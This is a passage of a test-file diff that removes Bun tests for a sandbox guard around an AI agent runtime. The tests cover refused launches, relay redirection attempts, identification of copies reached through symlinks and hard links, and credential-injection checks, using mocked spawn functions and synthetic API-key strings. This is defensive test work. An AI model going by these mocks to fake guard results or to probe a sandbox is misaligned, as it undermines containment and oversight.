Error("pipe data classified as native"); - const status=["/bin/sh","-c",'exec 3>"$1"; exec 4<"$2"; shift 2; exec "$@"',"brain-worker-status", - \`/proc/\${process.pid}/fd/\${fd}\`,\`/proc/\${process.pid}/fd/\${fd}\`,"/usr/bin/true"]; - if(isNativeClaude(status[0],status.slice(1)))throw Error("status descriptors classified as native"); - const plan=nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:["/usr/bin/true"],argv:status})}); - const child=Bun.spawn(status,{env:plan.env,stdout:"pipe",stderr:"pipe"}); - if(await child.exited!==0)throw Error(await new Response(child.stderr).text()); - plan.dispose();closeSync(fd);`, scratch); - expect(result.code, result.output).toBe(0); - expect(result.output).not.toContain("native executable metadata is unavailable"); - } finally { rmSync(scratch, { recursive: true, force: true }); } -}); - -test("worker exec payload refuses before its synthetic bootstrap starts", async () => { - const scratch = mkdtempSync(join(tmpdir(), "odysseus-worker-refusal-")); - try { - const marker = join(scratch, "launched"); - // The declared payload is real, but this bootstrap can only write a marker. - // Removing admission in a mutation can never launch the installed runtime. - const result = await probe(`${imports} Bun.spawn(["/bin/sh", "-c", ${JSON.stringify(`printf launched > '${marker}'`)}], - {env:{BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],argv:["bwrap","--",${JSON.stringify(runtime)}]})}});`, scratch); - expect(result.code).not.toBe(0); expect(existsSync(marker)).toBe(false); - expect(result.output).toContain('"success":false,"nativeLaunched":false'); - } finally { rmSync(scratch, { recursive: true, force: true }); } -}); - -test("catching a native refusal and exiting zero still fails the child", async () => { - const scratch = mkdtempSync(join(tmpdir(), "odysseus-caught-refusal-")); - try { - // Plan admission only: no spawn of the installed runtime, even if broken. - const result = await probe(`${imports} try { nativeClaudeBoundary(${JSON.stringify(runtime)}, [], {}); } catch {} process.exit(0);`, scratch); - expect(result.code).not.toBe(0); - expect(result.output).toContain('"success":false,"nativeLaunched":false'); - } finally { rmSync(scratch, { recursive: true, force: true }); } -}); - -test("runtime provenance follows a symlink and detects an arbitrarily named byte-identical copy", async () => { - const scratch = mkdtempSync(join(tmpdir(), "odysseus-runtime-identity-")); - try { - const linked = join(scratch, "odysseus-link"), copied = join(scratch, "odysseus-copy"); - symlinkSync(runtime!, linked); copyFileSync(runtime!, copied); - const equals = join(scratch,"odysseus=runtime");symlinkSync(runtime!,equals); - expect(isNativeClaude(process.execPath,["--require="+equals])).toBe(true); - symlinkSync(runtime!,join(scratch,"--odysseus-runtime")); - expect(isNativeClaude("--odysseus-runtime",[],{env:{PATH:scratch},cwd:scratch})).toBe(true); - for (const path of [linked, copied]) { - expect(isNativeClaude(path)).toBe(true); - // Refusal planning is safe even under a broken guard: it never execs. - const result = await probe(`${imports} nativeClaudeBoundary(${JSON.stringify(path)}, [], {});`, scratch); - expect(result.code).not.toBe(0); - expect(result.output).toContain('"success":false,"nativeLaunched":false'); - expect(result.output).toContain("positive native proof requires a hosted runner"); - } - } finally { rmSync(scratch, { recursive: true, force: true }); } -}); - -test("native identity uses the child's PATH and cwd", async () => { - const scratch = mkdtempSync(join(tmpdir(), "odysseus-child-resolution-")); - try { - symlinkSync(runtime!, join(scratch, "odysseus-selected")); - expect(isNativeClaude("odysseus-selected", [], { env: { PATH: scratch }, cwd: "/" })).toBe(true); - expect(isNativeClaude("./odysseus-selected", [], { env: { PATH: "/usr/bin:/bin" }, cwd: scratch })).toBe(true); - expect(isNativeClaude("/usr/bin/true", [], { env: { PATH: scratch }, cwd: scratch })).toBe(false); - } finally { rmSync(scratch, { recursive: true, force: true }); } -}); - -test("missing bubblewrap emits a failed receipt and cannot be caught into success", async () => { - const scratch = mkdtempSync(join(tmpdir(), "odysseus-missing-isolation-")); - try { - const result = await probeGuardInitialization(` - process.env.GITHUB_ACTIONS="true"; process.env.RUNNER_ENVIRONMENT="github-hosted"; - const which=Bun.which;Bun.which=((name,options)=>name==="bwrap"?null:which(name,options)); - const {nativeClaudeBoundary,nativeScriptedService}=await import(${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))}); - const {installNetworkGuard}=await import(${JSON.stringify(join(ROOT,"scripts/test-network-guard.ts"))});installNetworkGuard(); - const service=Bun.serve({hostname:"127.0.0.1",port:0,fetch(){return new Response("fixture");}}),leave=nativeScriptedService(service.url.origin); - try { nativeClaudeBoundary(${JSON.stringify(runtime)}, [], {}); } catch {} finally{leave();service.stop(true);}process.exit(0);`, scratch); - expect(result.code).not.toBe(0); - expect(result.output).toContain('"success":false,"nativeLaunched":false'); - expect(result.output).toContain('"reason":"OS namespace setup failed"'); - } finally { rmSync(scratch, { recursive: true, force: true }); } -}); - -test("missing kernel lifetime socket policy refuses before native launch", async () => { - const scratch=mkdtempSync(join(tmpdir(),"odysseus-kernel-policy-")); - try { - const result=await probe(`${imports} - import {compileSocketPolicy} from ${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))}; - import {chmodSync,writeFileSync} from "node:fs"; - const policy=compileSocketPolicy();chmodSync(policy,0o700);writeFileSync(policy,${JSON.stringify("#!/bin/sh\nexit 125\n")});chmodSync(policy,0o555); - process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; - const service=Bun.serve({hostname:"127.0.0.1",port:0,fetch(){return new Response("fixture");}}),leave=registerScriptedService(service.url.origin); - try{nativeClaudeBoundary(${JSON.stringify(runtime)},[],{});}finally{leave();service.stop(true);}`,scratch); - expect(result.code).not.toBe(0); - expect(result.output).toContain('"reason":"native socket lifetime policy unavailable"'); - expect(result.output).toContain('"nativeLaunched":false'); - } finally { rmSync(scratch,{recursive:true,force:true}); } -}); - -test("relay paths cannot redirect headers and body to another loopback service", async () => { - const scratch = mkdtempSync(join(tmpdir(), "odysseus-relay-origin-")); - let intended = 0, unintended = 0; - const target = Bun.serve({ hostname: "127.0.0.1", port: 0, fetch() { intended++; return new Response("Ithaca"); } }); - const other = Bun.serve({ hostname: "127.0.0.1", port: 0, fetch() { unintended++; return new Response("Unintended"); } }); - try { - const result = await probe(`${imports} - import {startNativeTestRelay} from ${JSON.stringify(join(ROOT, "scripts/test-native-guard.ts"))}; - const relay=startNativeTestRelay(${JSON.stringify(target.url.origin)}); - try { - const denied=await relay.handle(new Request(${JSON.stringify(`http://localhost//127.0.0.1:${other.port}/v1/messages`)}, - {method:"POST",headers:{authorization:"odysseus-fixture"},body:"synthetic"})); - if(denied.status!==403)throw Error("relay accepted an authority path"); - const allowed=await relay.handle(new Request("http://localhost/v1/messages")); - if(await allowed.text()!=="Ithaca")throw Error("scripted origin was unavailable"); - console.log("RELAY_AUTHORITY_REFUSED"); - } finally {relay.dispose();} process.exit(0);`, scratch); - expect(result.code).not.toBe(0); - expect(result.output).toContain('"reason":"unintended native destination"'); - expect(result.output).not.toContain('"nativeLaunched":true'); - expect(unintended).toBe(0); expect(intended).toBe(1); - } finally { target.stop(true); other.stop(true); rmSync(scratch, { recursive: true, force: true }); } -}); - -test("native audit counts raw kernel failures without decoding addresses or payloads", async () => { - const { deniedNativeConnects } = await import("../scripts/test-native-guard"); - expect(deniedNativeConnects("1 connect(0x3, 0x123, 0x10) = -1 ENETUNREACH (Network is unreachable)\n2 <... connect resumed>) = -1 EACCES (Permission denied)\n3 connect(0x4, 0x456, 0x10) = 0\n4 connect(0x5, 0x789, 0x10) = -1 EINPROGRESS (Operation now in progress)")).toBe(2); -}); - -test("cleanup cannot claim native exec from an empty or launcher-only trace", async () => { - const { nativeExecObserved } = await import("../scripts/test-native-guard"); - expect(nativeExecObserved("", ["/synthetic/native"])).toBe(false); - expect(nativeExecObserved('1 execve("/usr/bin/bwrap", [], 0x1) = 0', ["/synthetic/native"])).toBe(false); - expect(nativeExecObserved('1 execve("/synthetic/native", [], 0x1) = -1 ENOENT', ["/synthetic/native"])).toBe(false); - expect(nativeExecObserved('1 execve("/synthetic/native", [], 0x1) = 0', ["/synthetic/native"])).toBe(true); - const scratch = mkdtempSync(join(tmpdir(), "odysseus-empty-native-audit-")); - try { - const result = await probe(`${imports} - import {auditNativeLaunch} from ${JSON.stringify(join(ROOT, "scripts/test-native-guard.ts"))}; - const audit=auditNativeLaunch(["/usr/bin/true"],["/synthetic/native"],()=>{}); - audit.dispose(); process.exit(0);`, scratch); - expect(result.code).not.toBe(0); - expect(result.output).toContain('"nativeLaunched":false,"success":false'); - expect(result.output).toContain("native exec was not observed"); - } finally { rmSync(scratch, { recursive: true, force: true }); } -}); - -test("wrapper exec and auth inspection cannot fabricate native launch or injected credentials", async () => { - const scratch = mkdtempSync(join(tmpdir(), "odysseus-wrapper-audit-")); - try { - for (const [observed,joined] of [["/usr/bin/unshare",false],[runtime!,false],[runtime!,true]] as const) { - const result = await probe(`${imports} - import {writeFileSync} from "node:fs"; - const spawnSync=Bun.spawnSync,which=Bun.which; - Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); - Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); - process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted";registerScriptedService("http://127.0.0.1:1"); - const boundary=nativeClaudeBoundary("/usr/bin/unshare",["--user",${JSON.stringify(joined ? "--preload="+runtime : runtime)},"auth","status","--json"], - {cwd:${JSON.stringify(scratch)},env:{HOME:${JSON.stringify(scratch)},ANTHROPIC_BASE_URL:"http://127.0.0.1:1"}}); - if(boundary.argv[0]!=="/synthetic/strace")throw Error("audit executable was not resolved"); - const broker=boundary.argv.findIndex((arg,i)=>arg.endsWith("/native-connect")&&boundary.argv[i+1]==="--head"); - if(broker<0||!boundary.argv.includes("--device")||!boundary.argv.includes("--inode")||boundary.argv[broker+10]!=="/tmp/native-relay/relay.sock")throw Error("kernel lifetime socket policy was omitted"); - if(boundary.argv.some(arg=>arg.includes("HTTP_PROXY")||arg.includes("nativeDirectTransportCommand")||arg.endsWith("/egress-worker-entry.ts")))throw Error("AUTH_STATUS_FULL_ARGV_HAS_NO_ROUTE_OVERRIDE"); - const setup=boundary.argv.slice(0,boundary.argv.lastIndexOf("--")); - for(let i=0;i { - const scratch = mkdtempSync(join(tmpdir(), "odysseus-auth-plan-")); - try { - const result = await probe(`${imports} - import {writeFileSync} from "node:fs"; - import {nativeWorkerBoundary,nativeScriptedService} from ${JSON.stringify(join(ROOT, "scripts/test-native-guard.ts"))}; - const spawnSync=Bun.spawnSync,which=Bun.which; - Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); - Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); - process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted";const recorder=Bun.serve({port:0,fetch:()=>new Response("Ithaca")});registerScriptedService(recorder.url.origin); - const key="sk-ant-api03-"+"k".repeat(95)+"AA",token="sk-ant-oat01-"+"o".repeat(95)+"AA",bearer="sk-ant-declared-"+"t".repeat(60); - const leave=nativeScriptedService(recorder.url.origin); - for(const creds of [{},{ANTHROPIC_API_KEY:key},{CLAUDE_CODE_OAUTH_TOKEN:token},{ANTHROPIC_API_KEY:key,CLAUDE_CODE_OAUTH_TOKEN:token},{ANTHROPIC_AUTH_TOKEN:bearer}]){ - const boundary=nativeClaudeBoundary(${JSON.stringify(runtime)},[],{cwd:${JSON.stringify(scratch)},env:{HOME:${JSON.stringify(scratch)},ANTHROPIC_BASE_URL:"http://127.0.0.1:1",ANTHROPIC_UNIX_SOCKET:"",...creds}}); - const entry=boundary.argv.findIndex(arg=>arg.endsWith("/egress-worker-entry.ts")); - if(entry<0||boundary.argv[entry+1]!=="--direct-loopback")throw Error("REAL_DIRECT_PLAN_TRUSTED_LOOPBACK_FORWARDER"); - const broker=boundary.argv.findIndex((arg,i)=>arg.endsWith("/native-connect")&&boundary.argv[i+1]==="--head"),payload=boundary.argv.indexOf("--",broker)+1; - if(boundary.argv[payload]!=="/usr/bin/python3"||!boundary.argv[payload+4]?.includes('os.environ["ANTHROPIC_BASE_URL"]=os.environ["HTTP_PROXY"]'))throw Error("REAL_DIRECT_PLAN_ROUTE_SHIM"); - const injected={};for(let i=0;i { - const scratch = mkdtempSync(join(tmpdir(), "odysseus-tool-plan-")); - const unrelated = mkdtempSync(join(tmpdir(), "odysseus-unrelated-tools-")); - const home = join(scratch, "home"), brain = join(scratch, "brain"), bin = join(scratch, "bin"); - for (const path of [home, brain, bin]) mkdirSync(path); - writeFileSync(join(scratch, "outside-credential"), "odysseus-synthetic-credential"); - try { - const result = await probe(`${imports} - import {writeFileSync} from "node:fs"; - import {nativeWorkerBoundary,nativeScriptedService} from ${JSON.stringify(join(ROOT, "scripts/test-native-guard.ts"))}; - const spawnSync=Bun.spawnSync,which=Bun.which; - Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); - Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); - process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted";registerScriptedService("http://127.0.0.1:1"); - nativeScriptedService("http://127.0.0.1:1"); - const env={HOME:${JSON.stringify(home)},PATH:${JSON.stringify([bin, scratch, unrelated, "/usr/bin"].join(":"))},USE_BUILTIN_RIPGREP:"0",ENABLE_TOOL_SEARCH:"true",ANTHROPIC_BASE_URL:"http://127.0.0.1:1"}; - const direct=nativeClaudeBoundary(${JSON.stringify(runtime)},[],{cwd:${JSON.stringify(brain)},env}); - const worker=nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],brainPath:${JSON.stringify(brain)},hostHome:${JSON.stringify(home)},env,argv:["bwrap","--setenv","ENABLE_TOOL_SEARCH","true","--",${JSON.stringify(runtime)}]})}); - for(const [argv,dispose] of [[direct.argv,()=>direct.dispose()],[JSON.parse(worker.env.BRAIN_WORKER_LAUNCH).argv,()=>worker.dispose()]]){ - const entries={};for(let i=0;iarg==="--ro-bind"&&argv[i+1]===${JSON.stringify(bin)}&&argv[i+2]===${JSON.stringify(bin)}))throw Error("fixture tool mount was lost"); - if(argv.some((arg,i)=>["--bind","--ro-bind"].includes(arg)&&[${JSON.stringify(scratch)},${JSON.stringify(unrelated)}].includes(argv[i+1])))throw Error("fixture ancestor or unrelated tool storage was exposed"); - writeFileSync(argv[argv.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)});dispose(); - }`, scratch); - expect(result.code, result.output).toBe(0); - } finally { rmSync(scratch, { recursive: true, force: true }); rmSync(unrelated, { recursive: true, force: true }); } -}); - -test("guard worker binds follow every covering mount", async()=>{ - const scratch=mkdtempSync(join(tmpdir(),"odysseus-mount-order-")); - try { - const result=await probe(`${imports} - import {nativeWorkerBoundary,nativeFixtureDirectory,nativeScriptedService} from ${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))};import {writeFileSync} from "node:fs"; - ${guardMountOrderCheck} - const spawnSync=Bun.spawnSync,which=Bun.which; - Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); - Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); - process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; - const managedRoot=nativeFixtureDirectory("odysseus-plan-managed-");writeFileSync(managedRoot+"/managed.json",'{"env":{"ANTHROPIC_BASE_URL":"https://ithaca.invalid"}}'); - nativeScriptedService("http://127.0.0.1:1",{fixtureRoots:[${JSON.stringify(scratch)},managedRoot],fixtureFiles:[managedRoot+"/managed.json"]}); - const plan=nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],brainPath:${JSON.stringify(scratch)},env:{HOME:${JSON.stringify(scratch)},PATH:"/usr/local/bin:/usr/bin:/bin"},argv:["bwrap",...${JSON.stringify(["/tmp","/home","/etc",ROOT])}.flatMap(path=>["--tmpfs",path]),"--remount-ro","/","--remount-ro","/etc","--",process.execPath,${JSON.stringify(join(ROOT,"packages/ui-sdk/src/server/egress-worker-entry.ts"))},"--direct-loopback",${JSON.stringify(runtime)}]})}); - if(plan.native!==true)throw Error("ADMITTED_NATIVE_PLAN_CLASSIFIED"); - const argv=JSON.parse(plan.env.BRAIN_WORKER_LAUNCH).argv,bwrap=argv.indexOf("--",argv.indexOf("-o"))+1,split=argv.indexOf("--",bwrap); - const mounts=argv.slice(bwrap+1,split);assertGuardMountOrder(mounts,["/","/etc"]); - if(!mounts.some((arg,i)=>arg==="--ro-bind"&&mounts[i+2]===managedRoot+"/managed.json"))throw Error("DECLARED_MANAGED_SETTINGS_IN_WORKER_PLAN"); - if(!mounts.some((arg,i)=>arg==="--setenv"&&mounts[i+1]==="PATH"&&mounts[i+2]==="/usr/local/bin:/usr/bin:/bin"))throw Error("GUARD_PLAN_PRESERVES_READONLY_SYSTEM_PATH"); - const payload=argv.slice(split+1);if(payload[1]!==${JSON.stringify(join(ROOT,"packages/ui-sdk/src/server/egress-worker-entry.ts"))}||payload[2]!=="--direct-loopback"||!payload[3]?.endsWith("/native-connect"))throw Error("PRODUCTION_TRANSPORT_OUTSIDE_PAYLOAD_FILTER"); - if(!mounts.some((arg,i)=>arg==="--ro-bind"&&mounts[i+1]?.endsWith("/native-connect"))||!mounts.includes("/tmp/native-relay"))throw Error("guard input missing from plan"); - if(typeof plan.nativeExecuted!=="function"||plan.nativeExecuted())throw Error("WORKER_PLAN_EXEC_EVIDENCE_REACHES_CALLER"); - plan.beforeLaunch();writeFileSync(argv[argv.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)}); - if(!plan.nativeExecuted())throw Error("WORKER_PLAN_EXEC_EVIDENCE_REACHES_CALLER");plan.dispose();require("node:fs").rmSync(managedRoot,{recursive:true,force:true});`,scratch); - expect(result.code,result.output).toBe(0); - const receipt=JSON.parse(result.output.split("\n").find(line=>line.startsWith('{"kind":"native-offline-worker-plan"'))!); - expect(Object.keys(receipt).sort()).toEqual(["kind","head","bootstrapArgc","bootstrapArgvBytes","sandboxArgc","sandboxArgvBytes","metadataBytes"].sort()); - for(const [key,value] of Object.entries(receipt))if(key!=="kind"&&key!=="head")expect(typeof value==="number"&&Number.isSafeInteger(value)&&value>0).toBe(true); - expect(JSON.stringify(receipt)).not.toContain(runtime!); - }finally{rmSync(scratch,{recursive:true,force:true});} -}); - -test("separate-UID plans trace the broker payload outside its hidden native audit view", async () => { - const scratch = mkdtempSync(join(tmpdir(), "odysseus-identity-plan-")); - try { - const result = await probe(`${imports} - import {writeFileSync,realpathSync} from "node:fs"; - import {dirname} from "node:path"; - import {nativeWorkerBoundary,nativeScriptedService} from ${JSON.stringify(join(ROOT, "scripts/test-native-guard.ts"))}; - import {WORKER_IDENTITY_SUPERVISOR} from ${JSON.stringify(join(ROOT, "packages/ui-sdk/src/server/worker-identity-program.ts"))}; - import {spyOn} from "bun:test"; - import * as launcher from ${JSON.stringify(join(ROOT, "packages/ui-sdk/src/server/worker-launcher.ts"))}; - spyOn(launcher,"verifiedWorkerIdentity").mockReturnValue({identity:"separate_uid",workerUid:(process.getuid()||21000)+1}); - ${guardMountOrderCheck} - const spawnSync=Bun.spawnSync,which=Bun.which; - Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); - Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); - process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted";registerScriptedService("http://127.0.0.1:1"); - const leave=nativeScriptedService("http://127.0.0.1:1"); - const launch={command:[${JSON.stringify(runtime)}],brainPath:${JSON.stringify(scratch)},env:{HOME:${JSON.stringify(scratch)},ANTHROPIC_API_KEY:"offline-fixture"}, - argv:["/usr/bin/python3","-I","-S","-c",WORKER_IDENTITY_SUPERVISOR,JSON.stringify({argv:["bwrap","--ro-bind","/","/",...${JSON.stringify(["/tmp","/home","/etc",ROOT])}.flatMap(path=>["--tmpfs",path]),"--remount-ro","/","--remount-ro","/etc","--",${JSON.stringify(runtime)}],secret:"synthetic"})]}; - process.argv.push("--native-identity-startup-audit="+${JSON.stringify(scratch)}); - const worker=nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify(launch)}); - if(worker.native!==true)throw Error("ADMITTED_NATIVE_PLAN_CLASSIFIED"); - const outer=JSON.parse(worker.env.BRAIN_WORKER_LAUNCH).argv; - if(realpathSync(outer[0])!==realpathSync("/usr/bin/python3"))throw Error("tracer wrapped the coordinator instead of the payload"); - const config=JSON.parse(outer[5]),args=config.argv,split=args.indexOf("--"),trace=args.slice(split+1); - if(trace[0]!=="/synthetic/strace")throw Error("native broker payload was not traced"); - const log=trace[trace.indexOf("-o")+1],directory=dirname(log); - assertGuardMountOrder(args.slice(1,split),["/","/etc"]); - if(!args.slice(0,split).some((arg,i)=>arg==="--bind"&&args[i+1]===directory&&args[i+2]===directory))throw Error("guard trace directory bind missing"); - const inner=trace.slice(trace.indexOf("--")+1); - if(!trace.includes("abbrev=!newfstatat,statx")||!inner.some(value=>value.includes('os.stat(path)')))throw Error("IDENTITY_PLAN_COLLECTS_CHILD_DEVICE_METADATA"); - if(!inner.some((arg,i)=>arg==="--tmpfs"&&inner[i+1]===directory)||!inner.includes("--unshare-pid")||!inner.includes("--unshare-net"))throw Error("native child can see audit storage or tracer PID"); - if(args.slice(0,split).some((arg,i)=>arg==="--ro-bind"&&args[i+1]==="/"))throw Error("host root remained mounted"); - if(config.secret!=="synthetic")throw Error("identity authority changed"); - writeFileSync(log,${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)});worker.dispose();leave();`, scratch); - expect(result.code, result.output).toBe(0); - } finally { rmSync(scratch, { recursive: true, force: true }); } -}); - -test("the SDK spawn hook retains its scripted authority when invoked from another async scope", async () => { - const scratch = mkdtempSync(join(tmpdir(), "odysseus-sdk-scope-")); - const intended = Bun.serve({ hostname: "127.0.0.1", port: 0, fetch() { return new Response("Ithaca"); } }); - const other = Bun.serve({ hostname: "127.0.0.1", port: 0, fetch() { return new Response("Cyclops"); } }); - try { - const result = await probe(`${imports} - import {writeFileSync} from "node:fs"; - import {nativeScriptedQuery,nativeScriptedService,nativeWorkerBoundary} from ${JSON.stringify(join(ROOT, "scripts/test-native-guard.ts"))}; - const spawnSync=Bun.spawnSync,which=Bun.which; - Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); - Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); - process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted";registerScriptedService("http://127.0.0.1:1"); - let hook,worker; - const query=nativeScriptedQuery(input=>{hook=input.options.spawnClaudeCodeProcess;return {};},${JSON.stringify(intended.url.origin)}); - query({prompt:"fixture",options:{spawnClaudeCodeProcess(){worker=nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],env:{HOME:${JSON.stringify(scratch)}},brainPath:${JSON.stringify(scratch)},argv:["bwrap","--",${JSON.stringify(runtime)}]})});return {};}}}); - const leave=nativeScriptedService(${JSON.stringify(other.url.origin)});hook({});leave(); - const argv=JSON.parse(worker.env.BRAIN_WORKER_LAUNCH).argv; - const mount=argv.indexOf("/tmp/native-relay"),directory=argv[mount-1]; - const reply=await fetch("http://localhost/v1/messages",{unix:directory+"/relay.sock"}); - if(await reply.text()!=="Ithaca")throw Error("SDK spawn lost its scripted authority"); - writeFileSync(argv[argv.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)});worker.dispose();`, scratch); - expect(result.code, result.output).toBe(0); - } finally { intended.stop(true); other.stop(true); rmSync(scratch, { recursive: true, force: true }); } -}); - -test("fixture server callbacks retain authority while creating a native relay", async () => { - const scratch = mkdtempSync(join(tmpdir(), "odysseus-server-authority-")); - try { - const result = await probe(`${imports} - import {writeFileSync} from "node:fs"; - import {nativeScriptedService,nativeWorkerBoundary} from ${JSON.stringify(join(ROOT, "scripts/test-native-guard.ts"))}; - const spawnSync=Bun.spawnSync,which=Bun.which; - Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); - Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); - process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted";registerScriptedService("http://127.0.0.1:1"); - const leave=nativeScriptedService("http://127.0.0.1:1");let relay; - const app=Bun.serve({hostname:"127.0.0.1",port:0,fetch(){ - relay=Bun.serve({unix:${JSON.stringify(join(scratch, "relay.sock"))},fetch(){return new Response("Ithaca");}}); - const worker=nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}], - env:{ANTHROPIC_UNIX_SOCKET:"/tmp/relay/relay.sock"},argv:["bwrap","--ro-bind",${JSON.stringify(scratch)},"/tmp/relay","--",${JSON.stringify(runtime)}]})}); - const argv=JSON.parse(worker.env.BRAIN_WORKER_LAUNCH).argv; - writeFileSync(argv[argv.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)});worker.dispose();return new Response("scoped"); - }});leave(); - try{const response=await fetch(app.url);if(await response.text()!=="scoped")throw Error("server callback lost native authority");} - finally{app.stop(true);relay?.stop(true);}`, scratch); - expect(result.code, result.output).toBe(0); - } finally { rmSync(scratch, { recursive: true, force: true }); } -}); - -test("the installed spawn interceptor receives fixture authority before a synthetic bootstrap", async () => { - const scratch = mkdtempSync(join(tmpdir(), "odysseus-spawn-authority-")); - try { - const bootstrap = `import {writeFileSync} from "node:fs";const launch=JSON.parse(process.env.BRAIN_WORKER_LAUNCH!);const args=launch.argv;writeFileSync(args[args.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)});`; - const result = await probe(`${imports} - import {nativeScriptedService} from ${JSON.stringify(join(ROOT, "scripts/test-native-guard.ts"))}; - const spawnSync=Bun.spawnSync,which=Bun.which; - Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); - Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); - process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted";registerScriptedService("http://127.0.0.1:1"); - nativeScriptedService("http://127.0.0.1:1"); - const child=Bun.spawn([process.execPath,"-e",${JSON.stringify(bootstrap)}],{env:{HOME:${JSON.stringify(scratch)},BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],env:{HOME:${JSON.stringify(scratch)}},brainPath:${JSON.stringify(scratch)},argv:["bwrap","--",${JSON.stringify(runtime)}]})},stdout:"pipe",stderr:"pipe"}); - const [code,err]=await Promise.all([child.exited,new Response(child.stderr).text()]);if(code!==0)throw Error(err);`, scratch); - expect(result.code, result.output).toBe(0); - } finally { rmSync(scratch, { recursive: true, force: true }); } -}); - -test("qualification metadata preserves explicit child environment overrides", async () => { - const scratch = mkdtempSync(join(tmpdir(), "odysseus-child-context-")); - try { - const result = await probe(`${imports} - process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted";registerScriptedService("http://127.0.0.1:1"); - const child=Bun.spawn([process.execPath,"-e",'console.error(JSON.stringify({actions:process.env.GITHUB_ACTIONS,runner:process.env.RUNNER_ENVIRONMENT,head:process.env.BRAIN_NATIVE_TEST_HEAD}))'], - {env:{PATH:"/usr/bin:/bin",GITHUB_ACTIONS:"false",RUNNER_ENVIRONMENT:"fixture"},stdout:"pipe",stderr:"pipe"}); - const [code,err]=await Promise.all([child.exited,new Response(child.stderr).text()]); - const context=JSON.parse(err.trim()); - if(code!==0||context.actions!=="false"||context.runner!=="fixture"||!/^[0-9a-f]{40}$/.test(context.head))throw Error("explicit child context was overwritten");`, scratch); - expect(result.code, result.output).toBe(0); - } finally { rmSync(scratch, { recursive: true, force: true }); } -}); - -test("a hard-link alias retains live guard-owned socket authority and loses it when the server stops", async () => { - const scratch = mkdtempSync(join(tmpdir(), "odysseus-relay-alias-")); - try { - const result = await probe(`${imports} - import {writeFileSync,linkSync} from "node:fs"; - import {nativeScriptedService,nativeWorkerBoundary} from ${JSON.stringify(join(ROOT, "scripts/test-native-guard.ts"))}; - const 